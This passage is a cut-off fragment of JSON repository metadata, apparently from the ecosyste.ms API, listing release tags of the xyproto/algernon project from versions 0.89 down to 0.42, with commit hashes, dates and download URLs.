ithub.com/xyproto/algernon/releases/tag/0.89","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.89","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.89","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.89/manifests"},{"name":"0.88","sha":"62abfa0471c360002beac1e5c838c177c190ccf6","kind":"commit","published_at":"2016-04-19T15:06:25.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.88","html_url":"https://github.com/xyproto/algernon/releases/tag/0.88","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.88","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.88","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.88/manifests"},{"name":"0.87","sha":"6217b7c33c0376579b2d1195e2f1a60ec6fa2350","kind":"commit","published_at":"2016-01-25T22:20:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.87","html_url":"https://github.com/xyproto/algernon/releases/tag/0.87","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.87","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.87","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.87/manifests"},{"name":"0.86","sha":"cb1d0da74a2dc758685c2d76e1d88b3bc49e11d1","kind":"commit","published_at":"2015-11-17T19:56:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.86","html_url":"https://github.com/xyproto/algernon/releases/tag/0.86","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.86","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.86","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.86/manifests"},{"name":"v0.85-win8-64","sha":"cbad419ceaa37fa7788330e89dba7b6b730ce0f3","kind":"commit","published_at":"2015-09-15T19:03:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.85-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.85-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.85-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.85-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.85-win8-64/manifests"},{"name":"0.85","sha":"d37fa8c03d5dbaca0bfcd00f32f1169a8fad03e2","kind":"commit","published_at":"2015-09-14T16:06:15.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.85","html_url":"https://github.com/xyproto/algernon/releases/tag/0.85","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.85","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.85","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.85/manifests"},{"name":"gccgo","sha":"0394a04c4de037d9c94e4ae2b13303b2031b8c87","kind":"commit","published_at":"2015-08-19T09:51:22.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/gccgo","html_url":"https://github.com/xyproto/algernon/releases/tag/gccgo","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@gccgo","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/gccgo","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/gccgo/manifests"},{"name":"8X","sha":"9d2d75b2c840d5dae749cee857d078ea41bc2770","kind":"commit","published_at":"2015-08-13T14:59:02.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/8X","html_url":"https://github.com/xyproto/algernon/releases/tag/8X","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@8X","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/8X","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/8X/manifests"},{"name":"0.84","sha":"ab1b10910cc9c4bb14305850d8f557df23deec53","kind":"commit","published_at":"2015-06-26T08:56:35.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.84","html_url":"https://github.com/xyproto/algernon/releases/tag/0.84","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.84","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.84","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.84/manifests"},{"name":"v0.84-win8-64","sha":"fcdf8e9d9e8dcb7177cebbc367916920a9ba7eb4","kind":"commit","published_at":"2015-06-25T17:30:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.84-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.84-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.84-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.84-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.84-win8-64/manifests"},{"name":"0.83","sha":"2f3a45091a2082fcf42ae75e5bcd4f5d9f8d8d70","kind":"commit","published_at":"2015-06-24T23:46:04.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.83","html_url":"https://github.com/xyproto/algernon/releases/tag/0.83","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.83","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.83","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.83/manifests"},{"name":"0.82","sha":"ea8897a870e82f038aeb32da87163d99f786da91","kind":"commit","published_at":"2015-06-22T13:44:45.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.82","html_url":"https://github.com/xyproto/algernon/releases/tag/0.82","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.82","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.82","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.82/manifests"},{"name":"0.81","sha":"0d352e85b2ef67f7c3e5df6f76d6dfceb48aa70e","kind":"commit","published_at":"2015-06-22T01:28:17.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.81","html_url":"https://github.com/xyproto/algernon/releases/tag/0.81","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.81","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.81","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.81/manifests"},{"name":"0.8","sha":"0d765c289861e1a52f167428f2c94b9ad3126c50","kind":"commit","published_at":"2015-06-18T14:35:52.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.8","html_url":"https://github.com/xyproto/algernon/releases/tag/0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.8/manifests"},{"name":"0.75","sha":"64b852d7b43ca6ed4119ca2821ce5a35d05986d9","kind":"commit","published_at":"2015-06-17T23:13:50.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.75","html_url":"https://github.com/xyproto/algernon/releases/tag/0.75","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.75","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.75","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.75/manifests"},{"name":"0.74","sha":"451758e6d17e7b742a4098fd94def440a87a1bcd","kind":"commit","published_at":"2015-06-05T13:57:22.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.74","html_url":"https://github.com/xyproto/algernon/releases/tag/0.74","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.74","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.74","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.74/manifests"},{"name":"0.73","sha":"51846815436a494d9351c69bb821f492aa5c0640","kind":"commit","published_at":"2015-06-04T19:12:09.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.73","html_url":"https://github.com/xyproto/algernon/releases/tag/0.73","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.73","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.73","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.73/manifests"},{"name":"0.72","sha":"575c6be36fe4c857f1af7b74864519fa92c6a530","kind":"commit","published_at":"2015-06-01T17:09:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.72","html_url":"https://github.com/xyproto/algernon/releases/tag/0.72","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.72","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.72","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.72/manifests"},{"name":"0.71","sha":"098979e0228289ddaf5ce1f8301bb422e5a1a50b","kind":"commit","published_at":"2015-05-29T17:49:10.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.71","html_url":"https://github.com/xyproto/algernon/releases/tag/0.71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.71/manifests"},{"name":"0.7","sha":"5942e0f922242c38d8e25859f86c141ddc1d2fd4","kind":"commit","published_at":"2015-05-26T23:24:27.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.7","html_url":"https://github.com/xyproto/algernon/releases/tag/0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.7/manifests"},{"name":"0.68","sha":"5f820886e0518180dbe1c2f85c7b4978977ce1a5","kind":"commit","published_at":"2015-05-25T12:07:26.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.68","html_url":"https://github.com/xyproto/algernon/releases/tag/0.68","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.68","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.68","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.68/manifests"},{"name":"0.67","sha":"540cd6a96ba7503a0c72cbf40e116bddc0c448a8","kind":"commit","published_at":"2015-05-24T15:42:29.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.67","html_url":"https://github.com/xyproto/algernon/releases/tag/0.67","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.67","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.67","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.67/manifests"},{"name":"0.66","sha":"aed572819c73a47a20a1e87a9065bb20d4a79e8a","kind":"commit","published_at":"2015-05-20T18:26:56.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.66","html_url":"https://github.com/xyproto/algernon/releases/tag/0.66","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.66","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.66","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.66/manifests"},{"name":"0.65","sha":"f1d116dd9f4f7202ae2cf1f2720ae414e0b59cd9","kind":"commit","published_at":"2015-05-20T13:29:32.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.65","html_url":"https://github.com/xyproto/algernon/releases/tag/0.65","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.65","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.65","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.65/manifests"},{"name":"0.64","sha":"aaf0ce0784616616a2b9a2171334622d1999a545","kind":"commit","published_at":"2015-05-20T10:58:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.64","html_url":"https://github.com/xyproto/algernon/releases/tag/0.64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.64/manifests"},{"name":"0.63","sha":"cce8dd976f793f5ef3a9b9ab544b7cf640bb7b9d","kind":"commit","published_at":"2015-05-18T12:14:49.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.63","html_url":"https://github.com/xyproto/algernon/releases/tag/0.63","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.63","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.63","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.63/manifests"},{"name":"0.62","sha":"e2cb4f70968f61911b7d544b092caef79f182508","kind":"commit","published_at":"2015-05-13T09:38:18.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.62","html_url":"https://github.com/xyproto/algernon/releases/tag/0.62","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.62","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.62","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.62/manifests"},{"name":"v0.62-win8-64","sha":"28ee3f9dfa1c3faf91ce43d4c06038be0d2b5698","kind":"commit","published_at":"2015-05-12T14:56:00.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.62-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.62-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.62-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.62-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.62-win8-64/manifests"},{"name":"0.61","sha":"a8467be05d19dc4acba79a2ad516491b308bed4d","kind":"commit","published_at":"2015-05-07T15:56:37.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.61","html_url":"https://github.com/xyproto/algernon/releases/tag/0.61","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.61","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.61","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.61/manifests"},{"name":"0.60","sha":"3882a3ffc133dd19854c31bdc10505cebdd52464","kind":"commit","published_at":"2015-05-07T12:41:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.60","html_url":"https://github.com/xyproto/algernon/releases/tag/0.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.60/manifests"},{"name":"0.59","sha":"9af3ce8207642d30a22df4e1b8a12c85ece5bb9d","kind":"commit","published_at":"2015-05-05T14:07:30.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.59","html_url":"https://github.com/xyproto/algernon/releases/tag/0.59","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.59","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.59","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.59/manifests"},{"name":"0.58","sha":"24d1fed2eb44a73745d06ce0d64443e74a515e0a","kind":"commit","published_at":"2015-04-23T22:07:03.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.58","html_url":"https://github.com/xyproto/algernon/releases/tag/0.58","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.58","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.58","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.58/manifests"},{"name":"0.57","sha":"fd8670b2617d41da3a21d6eb67bc83159a207e6b","kind":"commit","published_at":"2015-04-19T10:49:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.57","html_url":"https://github.com/xyproto/algernon/releases/tag/0.57","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.57","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.57","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.57/manifests"},{"name":"0.56","sha":"a3978abdf0649aa9edc5eb5c15ee8059f7a9129e","kind":"commit","published_at":"2015-04-15T20:44:50.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.56","html_url":"https://github.com/xyproto/algernon/releases/tag/0.56","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.56","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.56","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.56/manifests"},{"name":"0.55","sha":"86675794379661d41be3ddf2f7b5f04b7eb76f33","kind":"commit","published_at":"2015-04-09T11:14:03.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.55","html_url":"https://github.com/xyproto/algernon/releases/tag/0.55","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.55","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.55","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.55/manifests"},{"name":"0.54","sha":"5b6b6cd49a058356393b8e05a34eb5a4e70e49df","kind":"commit","published_at":"2015-04-06T19:34:01.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.54","html_url":"https://github.com/xyproto/algernon/releases/tag/0.54","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.54","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.54","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.54/manifests"},{"name":"0.53","sha":"35a1366d9ef70397070b9bbf13a9ffd14fbdf4d0","kind":"commit","published_at":"2015-03-31T14:14:12.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.53","html_url":"https://github.com/xyproto/algernon/releases/tag/0.53","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.53","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.53","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.53/manifests"},{"name":"0.52","sha":"4b69abc3ca3f1fab208b47603b2cc5c36efa12d6","kind":"commit","published_at":"2015-03-28T15:07:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.52","html_url":"https://github.com/xyproto/algernon/releases/tag/0.52","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.52","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.52","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.52/manifests"},{"name":"v0.52-win8-64","sha":"4b69abc3ca3f1fab208b47603b2cc5c36efa12d6","kind":"commit","published_at":"2015-03-28T15:07:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.52-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.52-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.52-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.52-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.52-win8-64/manifests"},{"name":"0.51","sha":"8ae3554d91eda58236a5c7daf60c60c6ab694e91","kind":"commit","published_at":"2015-03-28T14:44:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.51","html_url":"https://github.com/xyproto/algernon/releases/tag/0.51","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.51","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.51","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.51/manifests"},{"name":"0.50","sha":"2b0040c087e14f7214d319f1a357b09fafee9260","kind":"commit","published_at":"2015-03-26T13:09:02.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.50","html_url":"https://github.com/xyproto/algernon/releases/tag/0.50","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.50","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.50","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.50/manifests"},{"name":"0.49","sha":"0b5becd3ba6e743b6ec94d2650dee87ec64f3b58","kind":"commit","published_at":"2015-03-25T21:35:50.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.49","html_url":"https://github.com/xyproto/algernon/releases/tag/0.49","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.49","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.49","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.49/manifests"},{"name":"0.48","sha":"160a22eb942f8a96397de07effcab8408490eb08","kind":"commit","published_at":"2015-03-25T15:50:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.48","html_url":"https://github.com/xyproto/algernon/releases/tag/0.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.48/manifests"},{"name":"v0.47-win8-64","sha":"ee1a959343b07396b99ee1657a4e12dd59376a04","kind":"commit","published_at":"2015-03-24T15:07:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v0.47-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v0.47-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v0.47-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.47-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v0.47-win8-64/manifests"},{"name":"0.47","sha":"4e59ca79d0f0ad6eb5feefb6e75316ca0dbac4d5","kind":"commit","published_at":"2015-03-19T21:12:25.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.47","html_url":"https://github.com/xyproto/algernon/releases/tag/0.47","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.47","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.47","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.47/manifests"},{"name":"0.46","sha":"99771b625aad835b4793489bf523b86692fcc3de","kind":"commit","published_at":"2015-03-19T14:56:31.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.46","html_url":"https://github.com/xyproto/algernon/releases/tag/0.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.46/manifests"},{"name":"0.45","sha":"8e9a4342648a7c94ba4654f734090eb4ecf682c4","kind":"commit","published_at":"2015-03-19T00:46:38.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.45","html_url":"https://github.com/xyproto/algernon/releases/tag/0.45","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.45","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.45","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.45/manifests"},{"name":"0.44","sha":"b9d019e15703d6629d43acf4210c8f0e351e814e","kind":"commit","published_at":"2015-03-13T22:18:28.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.44","html_url":"https://github.com/xyproto/algernon/releases/tag/0.44","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.44","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.44","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.44/manifests"},{"name":"0.43","sha":"4112e93d77e0c0d53856f20ec0290e4b724835b4","kind":"commit","published_at":"2015-03-13T21:26:56.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.43","html_url":"https://github.com/xyproto/algernon/releases/tag/0.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@0.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/0.43/manifests"},{"name":"0.42","sha":"ddb2989b6e676049c29ffc9320c70d4fd4224178","kind":"commit","published_at":"2015-03-11T22:55:58.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/0.42","html_url":"https://github.com/xyproto/algernon/releases/tag